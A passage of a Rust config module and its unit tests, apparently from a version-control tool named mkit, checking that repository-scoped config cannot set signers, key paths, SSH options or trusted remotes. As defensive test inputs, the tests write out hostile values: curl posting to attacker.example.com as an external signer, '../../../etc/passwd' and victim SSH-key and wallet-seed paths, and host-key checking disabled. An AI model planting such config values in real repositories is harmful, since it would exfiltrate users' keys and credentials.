1433 let mut buf = Vec::with_capacity(3 + bytes.len());
1434 buf.push(kind);
1435 buf.extend_from_slice(&len.to_le_bytes());
1436 buf.extend_from_slice(bytes);
1437 hex_encode(&buf)
1438}
1439
1440fn hex_encode(bytes: &[u8]) -> String {
1441 static H: &[u8; 16] = b"0123456789abcdef";
1442 let mut s = String::with_capacity(bytes.len() * 2);
1443 for b in bytes {
1444 s.push(H[(b >> 4) as usize] as char);
1445 s.push(H[(b & 0x0F) as usize] as char);
1446 }
1447 s
1448}
1449
1450fn hex_decode(s: &str) -> Option<Vec<u8>> {
1451 if !s.len().is_multiple_of(2) {
1452 return None;
1453 }
1454 let mut out = Vec::with_capacity(s.len() / 2);
1455 let b = s.as_bytes();
1456 for i in (0..b.len()).step_by(2) {
1457 let hi = nibble(b[i])?;
1458 let lo = nibble(b[i + 1])?;
1459 out.push((hi << 4) | lo);
1460 }
1461 Some(out)
1462}
1463
1464fn nibble(c: u8) -> Option<u8> {
1465 Some(match c {
1466 b'0'..=b'9' => c - b'0',
1467 b'a'..=b'f' => 10 + c - b'a',
1468 b'A'..=b'F' => 10 + c - b'A',
1469 _ => return None,
1470 })
1471}
1472
1473fn xdg(var: &str, fallback_under_home: &str) -> PathBuf {
1475 if let Some(v) = std::env::var_os(var)
1476 && !v.is_empty()
1477 {
1478 return PathBuf::from(v);
1479 }
1480 if let Some(home) = std::env::var_os("HOME") {
1481 return PathBuf::from(home).join(fallback_under_home);
1482 }
1483 PathBuf::from(".")
1484}
1485
1486#[must_use]
1487pub fn xdg_config_home() -> PathBuf {
1488 xdg("XDG_CONFIG_HOME", ".config")
1489}
1490
1491pub fn xdg_config_home_absolute() -> Result<PathBuf, String> {
1497 absolute_config_home(
1498 std::env::var_os("XDG_CONFIG_HOME"),
1499 std::env::var_os("HOME"),
1500 )
1501}
1502
1503fn absolute_config_home(
1504 xdg: Option<std::ffi::OsString>,
1505 home: Option<std::ffi::OsString>,
1506) -> Result<PathBuf, String> {
1507 if let Some(v) = xdg.map(PathBuf::from)
1508 && v.is_absolute()
1509 {
1510 return Ok(v);
1511 }
1512 if let Some(h) = home.map(PathBuf::from)
1513 && h.is_absolute()
1514 {
1515 return Ok(h.join(".config"));
1516 }
1517 Err(
1518 "cannot locate the user config directory: set XDG_CONFIG_HOME or HOME to an absolute path"
1519 .to_owned(),
1520 )
1521}
1522
1523#[cfg(test)]
1524mod tests {
1525 use super::*;
1526 use mkit_core::layout::RepoLayout;
1527
1528 #[test]
1529 fn config_home_must_be_absolute() {
1530 let os = |s: &str| Some(std::ffi::OsString::from(s));
1531 assert_eq!(
1532 absolute_config_home(os("/x"), os("/h")).unwrap(),
1533 PathBuf::from("/x")
1534 );
1535 assert_eq!(
1536 absolute_config_home(os("rel"), os("/h")).unwrap(),
1537 PathBuf::from("/h/.config")
1538 );
1539 assert_eq!(
1540 absolute_config_home(None, os("/h")).unwrap(),
1541 PathBuf::from("/h/.config")
1542 );
1543 for (x, h) in [(None, None), (os(""), os("")), (os("rel"), os("rel"))] {
1544 assert!(absolute_config_home(x, h).is_err());
1545 }
1546 }
1547 use tempfile::TempDir;
1548
1549 #[test]
1550 fn normalize_config_key_casing() {
1551 assert_eq!(normalize_config_key("User.Name"), "user.name");
1553 assert_eq!(normalize_config_key("Core.AutoCRLF"), "core.autocrlf");
1554 assert_eq!(normalize_config_key("user.identity"), "user.identity");
1555 assert_eq!(
1557 normalize_config_key("remote.Origin.url"),
1558 "remote.Origin.url"
1559 );
1560 assert_eq!(
1561 normalize_config_key("Remote.Origin.URL"),
1562 "remote.Origin.url"
1563 );
1564 assert_eq!(
1565 normalize_config_key("branch.Release.remote"),
1566 "branch.Release.remote"
1567 );
1568 assert_eq!(normalize_config_key("Remote.A.B.URL"), "remote.A.B.url");
1573 assert_eq!(
1574 normalize_config_key("HTTP.https://Ex.com/.SSLVerify"),
1575 "http.https://Ex.com/.sslverify"
1576 );
1577 assert_eq!(normalize_config_key("Foo"), "foo");
1579 }
1580
1581 #[test]
1582 fn config_file_preserves_subsection_case() {
1583 let dir = TempDir::new().unwrap();
1587 std::fs::create_dir_all(dir.path().join(".mkit")).unwrap();
1588 std::fs::write(
1589 dir.path().join(".mkit/config"),
1590 "remote.Origin.url = mkit+file:///tmp/x\nremote.Origin.type = file\n",
1591 )
1592 .unwrap();
1593 let cfg = read_or_default(&RepoLayout::single(dir.path())).unwrap();
1594 assert!(
1595 cfg.remotes.contains_key("Origin"),
1596 "subsection case lost on reload: {:?}",
1597 cfg.remotes.keys().collect::<Vec<_>>()
1598 );
1599 assert!(!cfg.remotes.contains_key("origin"));
1600 }
1601
1602 #[test]
1603 fn durability_objects_key_selects_sync_policy() {
1604 let mut cfg = Config::with_defaults();
1608 assert_eq!(
1609 cfg.object_sync_policy(),
1610 mkit_core::store::SyncPolicy::Batch
1611 );
1612 apply_kv(&mut cfg, "durability.objects", "per-object");
1613 assert_eq!(
1614 cfg.object_sync_policy(),
1615 mkit_core::store::SyncPolicy::PerObject
1616 );
1617 let dir = tempfile::tempdir().unwrap();
1619 write(&RepoLayout::single(dir.path()), &cfg).unwrap();
1620 let text = std::fs::read_to_string(dir.path().join(CONFIG_FILE)).unwrap();
1621 assert!(text.contains("durability.objects = per-object"));
1622 apply_kv(&mut cfg, "durability.objects", "bogus");
1623 assert_eq!(
1624 cfg.object_sync_policy(),
1625 mkit_core::store::SyncPolicy::Batch
1626 );
1627 }
1628
1629 fn layer(repo_text: Option<&str>, user_text: Option<&str>) -> Config {
1633 let td = TempDir::new().unwrap();
1634 let mut cfg = Config::with_defaults();
1635 if let Some(text) = user_text {
1636 let upath = td.path().join("user_config");
1637 fs::write(&upath, text).unwrap();
1638 apply_file(&mut cfg, &upath, ConfigScope::User).unwrap();
1639 }
1640 if let Some(text) = repo_text {
1641 let rpath = td.path().join("repo_config");
1642 fs::write(&rpath, text).unwrap();
1643 apply_file(&mut cfg, &rpath, ConfigScope::Repo).unwrap();
1644 }
1645 cfg
1646 }
1647
1648 fn layered(repo_text: Option<&str>, user_text: Option<&str>) -> LayeredConfig {
1649 let td = TempDir::new().unwrap();
1650 let user_path = td.path().join("user_config");
1651 let repo_path = td.path().join("repo_config");
1652 if let Some(text) = user_text {
1653 fs::write(&user_path, text).unwrap();
1654 }
1655 if let Some(text) = repo_text {
1656 fs::write(&repo_path, text).unwrap();
1657 }
1658 let mut merged = Config::with_defaults();
1659 apply_file_inner(&mut merged, &user_path, ConfigScope::User, false).unwrap();
1660 apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, false).unwrap();
1661 let mut user = Config::default();
1662 let mut repo = Config::default();
1663 apply_file_inner(&mut user, &user_path, ConfigScope::User, false).unwrap();
1664 apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false).unwrap();
1665 LayeredConfig { merged, user, repo }
1666 }
1667
1668 #[test]
1669 fn read_default_when_missing() {
1670 let td = TempDir::new().unwrap();
1671 let cfg = Config::with_defaults();
1674 assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1675 assert_eq!(cfg.default_branch, DEFAULT_BRANCH);
1676 assert!(cfg.remote_endpoint.is_empty());
1677 let _ = read_or_default(&RepoLayout::single(td.path())).unwrap();
1680 }
1681
1682 #[test]
1683 fn roundtrip_repo_safe_keys() {
1684 let cfg = layer(
1685 Some("remote_endpoint = /tmp/mirror\nremote_type = file\n"),
1686 None,
1687 );
1688 assert_eq!(cfg.remote_endpoint, "/tmp/mirror");
1689 assert_eq!(cfg.remote_type, "file");
1690 }
1691
1692 #[test]
1693 fn write_does_not_emit_forbidden_repo_keys() {
1694 let td = TempDir::new().unwrap();
1695 fs::create_dir_all(td.path().join(".mkit")).unwrap();
1696 let mut cfg = Config::with_defaults();
1697 cfg.user_identity = "01200011".into();
1698 cfg.signing_key = "/should/not/be/written".into();
1699 cfg.signer = "keystore".into();
1700 cfg.key.backend = "software".into();
1701 cfg.key.default_ref = "software:attacker".into();
1702 cfg.ssh_strict_host_key_checking = "no".into();
1703 cfg.attest.external_signer_path = "/usr/local/bin/evil".into();
1704 write(&RepoLayout::single(td.path()), &cfg).unwrap();
1705 let on_disk = fs::read_to_string(td.path().join(CONFIG_FILE)).unwrap();
1706 assert!(!on_disk.contains("user.identity"));
1707 assert!(!on_disk.contains("signing_key"));
1708 assert!(!on_disk.contains("signer"));
1709 assert!(!on_disk.contains("key.default_ref"));
1710 assert!(!on_disk.contains("ssh.strict_host_key_checking"));
1711 assert!(!on_disk.contains("external_signer_path"));
1712 }
1713
1714 #[test]
1715 fn repo_signing_key_is_rejected_with_warning() {
1716 let cfg = layer(
1720 Some("signing_key = ../../../etc/passwd\nremote_type = file\n"),
1721 None,
1722 );
1723 assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1724 assert_eq!(cfg.remote_type, "file");
1725 }
1726
1727 #[test]
1728 fn repo_user_identity_is_rejected() {
1729 let cfg = layer(Some("user.identity = 012000aaaaaaaa\n"), None);
1730 assert!(cfg.user_identity.is_empty());
1731 }
1732
1733 #[test]
1734 fn repo_trusted_remote_endpoint_is_rejected() {
1735 let cfg = layer(
1736 Some("trusted_remote_endpoint = mkit+https://attacker.invalid/repo\n"),
1737 None,
1738 );
1739 assert!(cfg.trusted_remote_endpoint.is_empty());
1740 }
1741
1742 #[test]
1743 fn repo_external_signer_is_rejected() {
1744 let cfg = layer(
1745 Some(
1746 "attest.external_signer_path = /usr/bin/curl\n\
1747 attest.external_signer_args = -X|POST|attacker.example.com\n\
1748 attest.signer = external\n",
1749 ),
1750 None,
1751 );
1752 assert!(cfg.attest.external_signer_path.is_empty());
1753 assert!(cfg.attest.external_signer_args.is_empty());
1754 assert_eq!(cfg.attest.signer, "");
1761 }
1762
1763 #[test]
1770 fn repo_attest_signer_selector_cannot_weaponise_user_external_signer() {
1771 let cfg = layer(
1772 Some("attest.signer = external\n"),
1773 Some(
1774 "attest.external_signer_path = /home/user/bin/yubikey-sign\n\
1775 attest.external_signer_args = sign\n",
1776 ),
1777 );
1778 assert_eq!(
1782 cfg.attest.external_signer_path,
1783 "/home/user/bin/yubikey-sign"
1784 );
1785 assert_eq!(cfg.attest.signer, "");
1786 assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
1787 }
1788
1789 #[test]
1794 fn repo_attest_default_algorithm_is_rejected() {
1795 let cfg = layer(Some("attest.default_algorithm = secp256k1\n"), None);
1796 assert_eq!(cfg.attest.default_algorithm, "");
1797 assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
1799 }
1800
1801 #[test]
1802 fn repo_keystore_selectors_are_rejected() {
1803 let cfg = layer(
1804 Some(
1805 "signer = keystore\n\
1806 key.backend = yubikey\n\
1807 key.default_ref = yubikey:main\n\
1808 key.ed25519_ref = software:repo-ed\n\
1809 key.secp256k1_ref = software:repo-k1\n\
1810 key.p256_ref = software:repo-p256\n",
1811 ),
1812 None,
1813 );
1814 assert_eq!(cfg.signer, DEFAULT_SIGNER);
1815 assert_eq!(cfg.key.backend, DEFAULT_KEY_BACKEND);
1816 assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
1817 assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
1818 assert_eq!(
1819 cfg.key.secp256k1_ref_or_fallback(),
1820 DEFAULT_SECP256K1_KEY_REF
1821 );
1822 assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
1823 }
1824
1825 #[test]
1826 fn user_keystore_selectors_are_honored() {
1827 let cfg = layer(
1828 None,
1829 Some(
1830 "signer = keystore\n\
1831 key.backend = software\n\
1832 key.default_ref = software:user-default\n\
1833 key.ed25519_ref = software:user-ed\n\
1834 key.secp256k1_ref = software:user-k1\n\
1835 key.p256_ref = software:user-p256\n",
1836 ),
1837 );
1838 assert_eq!(cfg.signer, "keystore");
1839 assert_eq!(cfg.key.backend, "software");
1840 assert_eq!(cfg.key.default_ref, "software:user-default");
1841 assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:user-ed");
1842 assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:user-k1");
1843 assert_eq!(cfg.key.p256_ref_or_fallback(), "software:user-p256");
1844 }
1845
1846 #[test]
1847 fn user_default_key_ref_is_generic_fallback() {
1848 let cfg = layer(None, Some("key.default_ref = software:release\n"));
1849 assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1850 assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:release");
1851 assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:release");
1852 assert_eq!(cfg.key.p256_ref_or_fallback(), "software:release");
1853 }
1854
1855 #[test]
1856 fn algorithm_key_refs_override_default_key_ref() {
1857 let cfg = layer(
1858 None,
1859 Some(
1860 "key.default_ref = software:release\n\
1861 key.ed25519_ref = software:ed\n\
1862 key.secp256k1_ref = software:k1\n\
1863 key.p256_ref = software:p256\n",
1864 ),
1865 );
1866 assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1867 assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:ed");
1868 assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:k1");
1869 assert_eq!(cfg.key.p256_ref_or_fallback(), "software:p256");
1870 }
1871
1872 #[test]
1873 fn repo_ssh_host_key_checking_is_rejected() {
1874 let cfg = layer(
1875 Some(
1876 "ssh.strict_host_key_checking = no\n\
1877 ssh.user_known_hosts_file = /dev/null\n",
1878 ),
1879 None,
1880 );
1881 assert!(cfg.ssh_strict_host_key_checking.is_empty());
1882 assert!(cfg.ssh_user_known_hosts_file.is_empty());
1883 }
1884
1885 #[test]
1891 fn repo_ssh_identity_file_is_rejected() {
1892 let cfg = layer(
1893 Some("ssh.identity_file = /home/victim/.ssh/id_ed25519\n"),
1894 None,
1895 );
1896 assert!(cfg.ssh_identity_file.is_empty());
1897 }
1898
1899 #[test]
1904 fn repo_pull_require_signed_is_rejected() {
1905 let cfg = layer(Some("pull.require_signed = false\n"), None);
1906 assert!(cfg.pull_require_signed.is_empty());
1907 assert!(cfg.pull_require_signed_or_default());
1908 }
1909
1910 #[test]
1913 fn user_pull_require_signed_false_disables_verification() {
1914 let cfg = layer(None, Some("pull.require_signed = false\n"));
1915 assert_eq!(cfg.pull_require_signed, "false");
1916 assert!(!cfg.pull_require_signed_or_default());
1917 }
1918
1919 #[test]
1922 fn pull_require_signed_defaults_to_true_and_rejects_typos() {
1923 assert!(Config::default().pull_require_signed_or_default());
1924 let cfg = layer(None, Some("pull.require_signed = nope\n"));
1925 assert!(cfg.pull_require_signed_or_default());
1926 for falsy in ["false", "0", "no", "off", "FALSE", "Off"] {
1927 let cfg = layer(None, Some(&format!("pull.require_signed = {falsy}\n")));
1928 assert!(
1929 !cfg.pull_require_signed_or_default(),
1930 "{falsy} should disable verification"
1931 );
1932 }
1933 }
1934
1935 #[test]
1938 fn repo_attest_secp256k1_key_path_is_rejected() {
1939 let cfg = layer(
1940 Some("attest.secp256k1_key_path = /home/victim/.wallet/seed\n"),
1941 None,
1942 );
1943 assert!(cfg.attest.secp256k1_key_path.is_empty());
1944 assert_eq!(
1946 cfg.attest.secp256k1_key_path_or_default(),
1947 ".mkit/keys/secp256k1.key"
1948 );
1949 }
1950
1951 #[test]
1953 fn repo_attest_p256_key_path_is_rejected() {
1954 let cfg = layer(
1955 Some("attest.p256_key_path = /home/victim/.ssh/id_ecdsa\n"),
1956 None,
1957 );
1958 assert!(cfg.attest.p256_key_path.is_empty());
1959 assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
1960 }
1961
1962 #[test]
1972 fn repository_cannot_select_ambient_request_signing() {
1973 let cfg = layer(Some("transport_auth = envelope\n"), None);
1974 assert!(
1975 !cfg.transport_auth_envelope(),
1976 "repo config selected an ambient signing operation"
1977 );
1978 }
1979
1980 #[test]
1981 fn every_forbidden_key_is_actually_dropped_from_repo_scope() {
1982 const SENTINEL: &str = "EXFIL_SENTINEL";
1988
1989 for key in REPO_FORBIDDEN_KEYS {
1990 let line = format!("{key} = {SENTINEL}\n");
1991 let cfg = layer(Some(&line), None);
1992 let observed = match *key {
1995 "user.identity" => cfg.user_identity.as_str(),
1996 "trusted_remote_endpoint" => cfg.trusted_remote_endpoint.as_str(),
1997 "admission_helper" => cfg.admission_helper.as_str(),
1998 "signer" => cfg.signer.as_str(),
1999 "transport_auth" => cfg.transport_auth.as_str(),
2000 "pull.require_signed" => cfg.pull_require_signed.as_str(),
2001 "key.backend" => cfg.key.backend.as_str(),
2002 "key.default_ref" => cfg.key.default_ref.as_str(),
2003 "key.ed25519_ref" => cfg.key.ed25519_ref.as_str(),
2004 "key.secp256k1_ref" => cfg.key.secp256k1_ref.as_str(),
2005 "key.p256_ref" => cfg.key.p256_ref.as_str(),
2006 "signing_key" => cfg.signing_key.as_str(),
2007 "ssh.strict_host_key_checking" => cfg.ssh_strict_host_key_checking.as_str(),
2008 "ssh.user_known_hosts_file" => cfg.ssh_user_known_hosts_file.as_str(),
2009 "ssh.identity_file" => cfg.ssh_identity_file.as_str(),
2010 "attest.signer" => cfg.attest.signer.as_str(),
2011 "attest.default_algorithm" => cfg.attest.default_algorithm.as_str(),
2012 "attest.external_signer_path" => cfg.attest.external_signer_path.as_str(),
2013 "attest.external_signer_args" => {
2014 if cfg.attest.external_signer_args.is_empty() {
2016 ""
2017 } else {
2018 "<non-empty>"
2019 }
2020 }
2021 "attest.external_signer_timeout_secs" => {
2022 if cfg.attest.external_signer_timeout_secs.is_none() {
2027 ""
2028 } else {
2029 "<set>"
2030 }
2031 }
2032 "attest.secp256k1_key_path" => cfg.attest.secp256k1_key_path.as_str(),
2033 "attest.p256_key_path" => cfg.attest.p256_key_path.as_str(),
2034 "grant.webauthn_rp" => {
2035 if cfg.grant_webauthn_rp.is_empty() {
2036 ""
2037 } else {
2038 "<non-empty>"
2039 }
2040 }
2041 other => panic!(
2047 "REPO_FORBIDDEN_KEYS contains `{other}` but the meta-test \
2048 in config.rs has no matching field accessor. Add an arm \
2049 to `every_forbidden_key_is_actually_dropped_from_repo_scope` \
2050 so the per-key drop is verified.",
2051 ),
2052 };
2053 assert!(
2060 observed != SENTINEL,
2061 "forbidden key `{key}` was NOT dropped from repo scope — \
2062 observed `{observed}` (matches attacker SENTINEL)",
2063 );
2064 }
2065 }
2066
2067 #[test]
2068 fn user_signing_key_is_honored() {
2069 let cfg = layer(None, Some("signing_key = /home/user/.mkit/global.key\n"));
2070 assert_eq!(cfg.signing_key, "/home/user/.mkit/global.key");
2071 }
2072
2073 fn gate_for_flat<F>(cfg: &LayeredConfig, getenv: &F) -> Option<String>
2078 where
2079 F: Fn(&str) -> Option<String>,
2080 {
2081 let endpoint = cfg.merged.remote_endpoint.trim();
2082 let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
2083 trusted_remote_error_for(
2084 endpoint,
2085 repo_chosen,
2086 cfg.user.trusted_remote_endpoint.trim(),
2087 getenv,
2088 )
2089 }
2090
2091 #[test]
2092 fn repo_http_remote_with_token_requires_user_trust() {
2093 let cfg = layered(
2094 Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
2095 None,
2096 );
2097 let msg = gate_for_flat(&cfg, &|name| {
2098 (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
2099 })
2100 .expect("repo-scoped HTTP remote with token must be rejected");
2101 assert!(msg.contains("trusted_remote_endpoint"));
2102 }
2103
2104 #[test]
2105 fn trusted_http_remote_is_allowed() {
2106 let cfg = layered(
2107 Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
2108 Some("trusted_remote_endpoint = mkit+https://example.invalid/repo\n"),
2109 );
2110 let msg = gate_for_flat(&cfg, &|name| {
2111 (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
2112 });
2113 assert!(msg.is_none());
2114 }
2115
2116 #[test]
2117 fn repo_s3_remote_with_env_creds_requires_user_trust() {
2118 let cfg = layered(
2119 Some("remote_endpoint = mkit+s3://r2.example.com/bucket/proj\n"),
2120 None,
2121 );
2122 let msg = gate_for_flat(&cfg, &|name| match name {
2123 mkit_transport_s3::ENV_ACCESS_KEY => Some("AKIA...".to_string()),
2124 _ => None,
2125 })
2126 .expect("repo-scoped S3 remote with env creds must be rejected");
2127 assert!(msg.contains("trusted_remote_endpoint"));
2128 }
2129
2130 #[test]
2136 fn user_chosen_http_remote_with_token_is_allowed() {
2137 let token =
2138 |name: &str| (name == mkit_transport_http::TOKEN_ENV).then(|| "tok".to_string());
2139 let ep = "mkit+https://example.invalid/repo";
2140 assert!(trusted_remote_error_for(ep, false, "", &token).is_none());
2142 assert!(trusted_remote_error_for(ep, true, "", &token).is_some());
2144 }
2145
2146 #[test]
2150 fn repo_http_remote_without_token_is_allowed() {
2151 let none = |_: &str| None;
2152 let ep = "mkit+https://example.invalid/repo";
2153 assert!(trusted_remote_error_for(ep, true, "", &none).is_none());
2154 }
2155
2156 #[test]
2159 fn ssh_and_file_endpoints_bypass_credential_gate() {
2160 let all = |_: &str| Some("present".to_string());
2161 assert!(trusted_remote_error_for("mkit+ssh://host/path", true, "", &all).is_none());
2162 assert!(trusted_remote_error_for("mkit+file:///srv/mirror", true, "", &all).is_none());
2163 }
2164
2165 #[test]
2169 fn endpoint_credential_trust_honours_provenance_and_user_trust() {
2170 let cfg = layered(
2171 None,
2172 Some("trusted_remote_endpoint = mkit+https://trusted.invalid/r\n"),
2173 );
2174 let _ = endpoint_credential_trust(&cfg, "mkit+https://untrusted.invalid/r", true);
2179 assert!(endpoint_credential_trust(&cfg, "mkit+https://trusted.invalid/r", true).is_ok());
2181 }
2182
2183 #[test]
2184 fn repo_safe_keys_override_user() {
2185 let cfg = layer(
2189 Some("default_branch = release\n"),
2190 Some("default_branch = trunk\n"),
2191 );
2192 assert_eq!(cfg.default_branch, "release");
2193 }
2194
2195 #[test]
2196 fn validate_key_path_rejects_parent_dir() {
2197 assert!(validate_key_path("../etc/passwd").is_err());
2198 assert!(validate_key_path(".mkit/keys/../../etc/passwd").is_err());
2199 assert!(validate_key_path("foo/../bar").is_err());
2200 }
2201
2202 #[test]
2203 fn validate_key_path_accepts_relative_and_absolute() {
2204 assert!(validate_key_path("").is_ok());
2205 assert!(validate_key_path(".mkit/keys/default.key").is_ok());
2206 assert!(validate_key_path("/home/user/.mkit/global.key").is_ok());
2207 }
2208
2209 #[test]
2210 fn resolve_key_path_resolves_against_common_dir_in_linked_worktree() {
2211 let layout = RepoLayout::linked("/trees/wt1", "/main/.mkit/worktrees/wt1", "/main/.mkit");
2214 let out = resolve_key_path(&layout, ".mkit/keys/default.key").unwrap();
2215 assert_eq!(out, std::path::Path::new("/main/.mkit/keys/default.key"));
2216 }
2217
2218 #[test]
2219 fn resolve_key_path_rejects_relative_path_outside_repo_keys() {
2220 let td = TempDir::new().unwrap();
2221 assert!(
2222 resolve_key_path(&RepoLayout::single(td.path()), ".mkit/custom/global.key").is_err()
2223 );
2224 }
2225
2226 #[test]
2227 fn resolve_key_path_accepts_relative_path_under_repo_keys() {
2228 let td = TempDir::new().unwrap();
2229 let out = resolve_key_path(
2230 &RepoLayout::single(td.path()),
2231 ".mkit/keys/custom/global.key",
2232 )
2233 .unwrap();
2234 assert_eq!(out, td.path().join(".mkit/keys/custom/global.key"));
2235 }
2236
2237 #[cfg(unix)]
2238 #[test]
2239 fn home_dir_for_euid_is_independent_of_home_env() {
2240 let from_passwd = home_dir_for_euid().expect("getpwuid_r should succeed");
2248 assert!(from_passwd.is_absolute());
2249 let td = TempDir::new().unwrap();
2256 let inside = from_passwd.join(".mkit/test-inside.key");
2257 assert!(resolve_key_path(&RepoLayout::single(td.path()), inside.to_str().unwrap()).is_ok());
2258 assert!(
2261 resolve_key_path(
2262 &RepoLayout::single(td.path()),
2263 "/__definitely_not_a_home_dir__/x.key"
2264 )
2265 .is_err()
2266 );
2267 }
2268
2269 #[test]
2270 fn expand_user_identity_ed25519() {
2271 let hex = "11".repeat(32);
2272 let out = expand_user_identity(&format!("ed25519:{hex}")).unwrap();
2273 assert_eq!(out.len(), 70);
2274 assert!(out.starts_with("012000"));
2275 }
2276
2277 #[test]
2278 fn expand_user_identity_mid() {
2279 let out = expand_user_identity("mid:42").unwrap();
2280 assert_eq!(out, "0308002a00000000000000");
2281 }
2282
2283 #[test]
2284 fn expand_rejects_bogus() {
2285 assert!(expand_user_identity("").is_err());
2286 assert!(expand_user_identity("ed25519:short").is_err());
2287 assert!(expand_user_identity("mid:notanumber").is_err());
2288 assert!(expand_user_identity("zzzzzz").is_err());
2289 }
2290
2291 #[test]
2292 fn validate_value_rejects_control_chars() {
2293 assert!(validate_value("hello world").is_ok());
2294 assert!(validate_value("bad\x01char").is_err());
2295 assert!(validate_value("\x7fdel").is_err());
2296 }
2297
2298 #[test]
2299 fn attest_config_defaults_are_empty() {
2300 let cfg = Config::with_defaults();
2301 assert_eq!(cfg.signer, DEFAULT_SIGNER);
2302 assert_eq!(cfg.key.backend_or_fallback(), DEFAULT_KEY_BACKEND);
2303 assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
2304 assert!(cfg.key.default_ref.is_empty());
2305 assert!(cfg.key.ed25519_ref.is_empty());
2306 assert!(cfg.key.secp256k1_ref.is_empty());
2307 assert!(cfg.key.p256_ref.is_empty());
2308 assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
2309 assert_eq!(
2310 cfg.key.secp256k1_ref_or_fallback(),
2311 DEFAULT_SECP256K1_KEY_REF
2312 );
2313 assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
2314 assert_eq!(cfg.attest.default_algorithm, "");
2315 assert_eq!(cfg.attest.signer, "");
2316 assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
2317 assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
2318 assert_eq!(
2319 cfg.attest.secp256k1_key_path_or_default(),
2320 ".mkit/keys/secp256k1.key"
2321 );
2322 assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
2323 }
2324
2325 #[test]
2326 fn legacy_keys_are_ignored_in_repo() {
2327 let cfg = layer(Some("project_id = xyz\nauthor_mid = 5\n"), None);
2328 assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
2329 }
2330
2331 #[test]
2336 fn user_kv_replace_or_append_logic_via_roundtrip() {
2337 let td = TempDir::new().unwrap();
2338 let path = td.path().join("user_config");
2339 fs::write(&path, "default_branch = trunk\nsigning_key = /a\n").unwrap();
2340 let mut text = fs::read_to_string(&path).unwrap();
2344 text = text.replace("/a", "/b");
2345 fs::write(&path, text).unwrap();
2346 let mut cfg = Config::with_defaults();
2347 apply_file(&mut cfg, &path, ConfigScope::User).unwrap();
2348 assert_eq!(cfg.signing_key, "/b");
2349 assert_eq!(cfg.default_branch, "trunk");
2350 }
2351
2352 #[test]
2353 fn named_remote_keys_parse_repo_safe() {
2354 let cfg = layer(
2355 Some(
2356 "remote.origin.url = mkit+file:///srv/m\n\
2357 remote.origin.type = file\n\
2358 branch.main.remote = origin\n\
2359 branch.main.merge = main\n",
2360 ),
2361 None,
2362 );
2363 let origin = cfg.remotes.get("origin").expect("origin present");
2364 assert_eq!(origin.url, "mkit+file:///srv/m");
2365 assert_eq!(origin.remote_type, "file");
2366 let up = cfg.branch_upstreams.get("main").expect("upstream present");
2367 assert_eq!(up.remote, "origin");
2368 assert_eq!(up.branch, "main");
2369 }
2370
2371 #[test]
2372 fn named_remote_roundtrips_through_write() {
2373 let td = TempDir::new().unwrap();
2374 let mut cfg = Config::with_defaults();
2375 cfg.remotes.insert(
2376 "origin".into(),
2377 RemoteEntry {
2378 url: "mkit+https://h/r".into(),
2379 remote_type: "http".into(),
2380 },
2381 );
2382 cfg.branch_upstreams.insert(
2383 "main".into(),
2384 Upstream {
2385 remote: "origin".into(),
2386 branch: "main".into(),
2387 },
2388 );
2389 write(&RepoLayout::single(td.path()), &cfg).unwrap();
2390 let reloaded = read_or_default(&RepoLayout::single(td.path())).unwrap();
2391 assert_eq!(
2392 reloaded.remotes.get("origin").unwrap().url,
2393 "mkit+https://h/r"
2394 );
2395 assert_eq!(
2396 reloaded.branch_upstreams.get("main").unwrap().remote,
2397 "origin"
2398 );
2399 }
2400
2401 #[test]
2402 fn resolve_remote_default_and_named_provenance() {
2403 let lc = layered(
2405 Some("remote.origin.url = mkit+https://h/r\nremote.origin.type = http\n"),
2406 None,
2407 );
2408 let r = resolve_remote(&lc, "origin").expect("origin resolves");
2409 assert_eq!(r.endpoint, "mkit+https://h/r");
2410 assert!(r.repo_chosen);
2411
2412 let lc = layered(Some("remote_endpoint = mkit+https://h/d\n"), None);
2414 let r = resolve_remote(&lc, "default").expect("default resolves");
2415 assert!(r.repo_chosen);
2416
2417 let lc = layered(None, Some("remote_endpoint = mkit+https://h/u\n"));
2419 let r = resolve_remote(&lc, "").expect("empty -> default");
2420 assert!(!r.repo_chosen);
2421
2422 let lc = layered(None, None);
2424 assert!(resolve_remote(&lc, "nope").is_none());
2425 }
2426
2427 #[test]
2428 fn resolve_upstream_explicit_and_fallback() {
2429 let lc = layered(
2430 Some("branch.main.remote = origin\nbranch.main.merge = trunk\n"),
2431 None,
2432 );
2433 let up = resolve_upstream(&lc, "main").unwrap();
2434 assert_eq!(up.remote, "origin");
2435 assert_eq!(up.branch, "trunk");
2436
2437 let lc = layered(Some("remote_endpoint = mkit+file:///srv\n"), None);
2439 let up = resolve_upstream(&lc, "feature").unwrap();
2440 assert_eq!(up.remote, DEFAULT_REMOTE_NAME);
2441 assert_eq!(up.branch, "feature");
2442
2443 let lc = layered(None, None);
